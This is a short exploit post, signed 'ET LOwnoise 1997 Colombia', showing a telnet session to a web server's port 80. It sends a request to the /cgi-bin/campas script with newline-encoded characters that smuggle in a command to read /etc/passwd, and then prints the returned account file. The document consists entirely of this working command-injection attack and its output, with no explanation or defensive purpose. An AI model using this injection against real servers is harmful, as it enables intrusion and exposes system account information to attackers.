Exploit:

jaxx0r:/# telnet www.xxxx.net 80

 Trying 200.xx.xx.xx...
  Connected to venus.xxxx.net
  Escape character is '^]'.
  GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a
  
  root:x:0:1:Super-User:/export/home/root:/sbin/sh
  daemon:x:1:1::/:
  bin:x:2:2::/usr/bin:
  sys:x:3:3::/:
  adm:x:4:4:Admin:/var/adm:
  lp:x:71:8:Line Printer Admin:/usr/spool/lp:
  smtp:x:0:0:Mail Daemon User:/:/bin/false
  
                                ET LOwnoise 1997 Colombia